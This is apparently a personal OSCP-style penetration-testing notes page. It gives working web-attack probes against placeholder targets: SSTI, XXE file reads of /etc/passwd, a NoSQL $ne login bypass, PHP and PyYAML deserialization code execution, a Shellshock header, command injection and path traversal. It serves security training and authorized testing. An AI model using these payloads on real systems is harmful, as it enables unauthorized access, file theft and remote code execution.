Conditional parser, template and component paths

Prove server-side template evaluation and identify its engine

Contents ↑

Use when: Controlled input appears in a server-rendered template, preview, email or report

Needs: The application evaluates attacker-controlled template syntax and the selected engine exposes a useful object or function

These are separate probes, not one universal payload

# These are separate probes, not one universal payload
# Jinja/Twig-style expression probe
curl -sS -G --data-urlencode 'name={{7*7}}' http://TARGET:PORT/PATH

# A different delimiter family, only when the first is literal or errors suggest it
curl -sS -G --data-urlencode 'name=${7*7}' http://TARGET:PORT/PATH

# Jinja-versus-Twig clue; interpret alongside source/errors, not in isolation
curl -sS -G --data-urlencode "name={{7*'7'}}" http://TARGET:PORT/PATH

Read: changed, repeatable computed output compared with a literal control supports evaluation. 49 alone does not identify the engine. Jinja commonly repeats the string; Twig commonly treats it numerically. Confirm the engine/version and exposed objects before selecting a file-read or command primitive. Literal reflection → inspect another template/input boundary; a syntax error alone does not prove an exploitable expression.

Read / verify → Require repeatable computed output and corroborating engine clues; the value 49 alone does not identify the engine.

If it fails → Literal output rejects that syntax in the tested sink; a syntax error can be a parser clue but is not exploitation proof.

  • An input appears in a command-like operation or causes shell-dependent behavior → Prove visible or blind operating-system command injection
  • A download/path parameter or URL segment influences a local filename → Read files through directory traversal
  • A PoC, injected command or remote client reports execution → Verify command execution, host and represented identity

Prerequisite checks & examples →Full technique →

Use an XML parser's external-entity behavior for bounded file read

Contents ↑

Use when: A working XML request reaches a server-side parser that accepts a controlled document or field

Needs: External entity or XInclude processing is enabled and the parser identity can read the selected file

Example body for an XML-compatible endpoint

<!-- Example body for an XML-compatible endpoint -->
<?xml version="1.0"?>
<!DOCTYPE request [<!ENTITY probe SYSTEM "file:///etc/passwd">]>
<request><value>&probe;</value></request>

Shell commands

# Baseline
curl -i -b cookies.txt -H 'Content-Type: application/xml' \
  --data-binary @xxe.xml http://TARGET:PORT/PATH

XML

<!-- Baseline -->
<value xmlns:xi="http://www.w3.org/2001/XInclude">
  <xi:include parse="text" href="file:///etc/passwd"/>
</value>

A blind endpoint needs an observable parser/network effect before any exfiltration claim. Follow verified config/source reads into credential or application testing.

Read / verify → Require recognizable file content or a uniquely correlated parser-side event, not an echoed request.

If it fails → DTD rejection, unresolved entities or no network effect rules out only that parser/configuration route; preserve the working XML baseline.

  • A secret-like value, key file, stored hash, challenge response or ticket → Classify the artifact and its identity context
  • JavaScript endpoints, backup names, exposed configuration or Git metadata → Inspect source, backups, configuration and repository artifacts
  • URL import, preview, webhook or fetch behavior → Use server-side requests to inspect reachable internal behavior

Prerequisite checks & examples →Full technique →

Test structured NoSQL operator injection with identity controls

Contents ↑

Use when: A login or search accepts JSON/nested form properties and evidence suggests an operator-based document query

Needs: The framework preserves an attacker-controlled operator object and the query uses it without rejecting its type

Shell commands

# Baseline
# A known username with an operator-valued password
curl -i -c cookies.txt -H 'Content-Type: application/json' \
  --data '{"username":"USER","password":{"$ne":""}}' http://TARGET:PORT/LOGIN

# Distinct context: a form parser that expands bracketed properties
curl -i -c cookies.txt --data-urlencode 'username=USER' \
  --data-urlencode 'password[$ne]=x' http://TARGET:PORT/LOGIN

Read: compare against the same operator encoded as a plain string and against a known wrong password. Confirm the resulting identity through a protected route. A 200/login page or changed error is not authenticated access. Type validation, hashing the supplied password before querying, or removal of $ operators can rule out this route. Broader $ne username queries may select an unexpected first account; keep the intended identity explicit.

Read / verify → Verify a protected action and resulting identity; a 200 status or cookie alone is not authentication.

If it fails → Schema/type validation, password pre-hashing or operator filtering can reject the route; do not broaden to an unintended first account.

  • Forms, downloads, exports, account functions or role-specific interfaces → Map functions, roles and normal requests manually
  • Administrative actions/routes or request methods visible from a lower role → Cross role, function or session authorization boundaries
  • A secret-like value, key file, stored hash, challenge response or ticket → Classify the artifact and its identity context

Prerequisite checks & examples →Full technique →

Match PHP deserialization gadgets to installed dependencies

Contents ↑

Use when: Source or request evidence shows controlled serialized PHP data reaches unsafe unserialize

Needs: Required gadget classes and compatible dependency versions are loaded; transport preserves exact serialized bytes

Shell commands

# Baseline
# Inspect available families and the exact chain's version/vector requirements
phpggc -l
phpggc -i Monolog/RCE1

# Example function-call gadget, only when that chain matches the application
phpggc -b Monolog/RCE1 system id > payload.b64

Read: base64 is a transport choice, not a bypass—the sink must decode it before deserialization. Preserve raw serialized lengths and binary bytes; use the encoding that the real request expects. A generated payload is not execution proof. Missing classes, rejected object types or a different dependency version → choose a matching chain or another primitive. Verify a benign effect before selecting a shell payload.

Read / verify → Require the exact dependency/version, sink and attributable effect; successful payload generation proves none of these.

If it fails → Missing classes, allowed-class restrictions, length corruption or version mismatch defeats the chain; choose only an evidence-matched family.

  • A PoC, injected command or remote client reports execution → Verify command execution, host and represented identity
  • A product/version clue, advisory or component-specific public PoC → Match a public exploit to the actual component and configuration
  • A simple command works while a longer or nested payload fails → Repair quoting, encoding and command-length boundaries

Prerequisite checks & examples →Full technique →

Validate unsafe YAML object construction

Contents ↑

Use when: Source or errors identify server-side Python YAML loading of controlled content

Needs: The application uses an unsafe PyYAML loader that permits the selected Python object constructor

Commands

# Baseline
!!python/object/apply:os.system ["id"]

Read / verify → Require source/configuration evidence for the loader and an attributable effect; a .yml extension is insufficient.

If it fails → ConstructorError often indicates safe or restricted loading. Preserve that negative evidence instead of trying unrelated tags blindly.

  • A PoC, injected command or remote client reports execution → Verify command execution, host and represented identity
  • A simple command works while a longer or nested payload fails → Repair quoting, encoding and command-length boundaries
  • A product/version clue, advisory or component-specific public PoC → Match a public exploit to the actual component and configuration

Prerequisite checks & examples →Full technique →

Test Shellshock only through a confirmed CGI-to-Bash chain

Contents ↑

Use when: A real CGI endpoint invokes Bash and component/patch evidence supports the vulnerable family

Needs: HTTP-derived environment data reaches an affected Bash process and the selected command is available

Shell commands

# Baseline
# Bounded command-effect probe at the actual CGI script
curl -i -H 'User-Agent: () { :;}; echo; /usr/bin/id' \
  http://TARGET:PORT/cgi-bin/SCRIPT

Read: an attributable UID in the executed CGI response supports the effect; reflection of the header text does not. Header/CGI parsing errors require inspecting the request and script behavior. No effect → re-check the actual component and patch status before selecting another PoC. This is the CVE-2014-6271 family, not a generic command separator for every web input.

Read / verify → Require command-derived output distinct from reflected header text and record the CGI identity.

If it fails → No effect can mean patched Bash, non-Bash CGI, header sanitization or wrong endpoint; re-check the component before another payload.

  • A PoC, injected command or remote client reports execution → Verify command execution, host and represented identity
  • Linux command execution exists but an interactive channel is needed → Connect a Linux reverse shell through an available interpreter
  • A product/version clue, advisory or component-specific public PoC → Match a public exploit to the actual component and configuration

Prerequisite checks & examples →Full technique →

First pass: tools and findings

Use the steps matching your current access. Follow a concrete finding instead of completing every technique in order.

Test the primitive exposed by the real request

Use this command branch only when an input reaches a utility/command context. Match the observed OS/parser.

curl -skG --data-urlencode 'host=127.0.0.1;id' http://TARGET:PORT/PATH
curl -skG --data-urlencode 'host=127.0.0.1&whoami' http://TARGET:PORT/PATH
  • If Target UID/name appears only in the test response → Verify command execution, host and represented identity

    Verify the destination and process identity; then choose a viable session route.

  • If Only a repeatable controlled delay is visible → Prove visible or blind operating-system command injection

    Use the blind verification variants; one slow request proves nothing.

Otherwise: Input is only reflected: investigate another mapped input or mechanism. Open Map parameters, API methods, objects and writable properties →

Full commands & alternatives →

For file inputs, prove actual file read

Keep session and request method intact; choose a target file appropriate to the observed platform.

curl -skG --data-urlencode 'file=../../../../../../etc/passwd' http://TARGET:PORT/PATH
  • If Recognizable file contents → Classify the artifact and its identity context

    Retrieve relevant application config/source; classify any recovered material.

  • If A PHP include sink accepts a filter wrapper → Disclose PHP source through an inclusion wrapper

    Test source disclosure separately from file execution.

Otherwise: Only an error/template/status changed: return to request mapping; do not claim a file read. Open Map parameters, API methods, objects and writable properties →

Full commands & alternatives →

For uploads, locate the stored file and its handler

Acceptance, storage, retrieval and server-side execution are separate tests.

printf '%s\n' 'UPLOAD_CANARY' > probe.txt
curl -sk -b cookies.txt -F 'file=@probe.txt;type=text/plain' http://TARGET:PORT/upload
  • If A controlled file is stored and retrieved → Execute an uploaded file through a compatible handler

    Check extension, interpreter and executable handler before choosing an execution payload.

  • If The upload destination path is controllable → Use upload path control to reach a useful consumer

    Identify the consumer that will use that exact location.

Otherwise: No compatible handler/consumer: treat it as storage and investigate another application boundary. Open Cross role, function or session authorization boundaries →

Full commands & alternatives →

Additional organization and gap review informed by 0xsyr0/OSCP ↗. Tool links open upstream sources.

HomeProjectsToolsNotes
Interactive toolsOSCP notes ↗Extended OSCP workspace ↗Attack-path visualizer ↗

© 2026 Armaan. Built with curiosity.

GitHub ↗GMT+8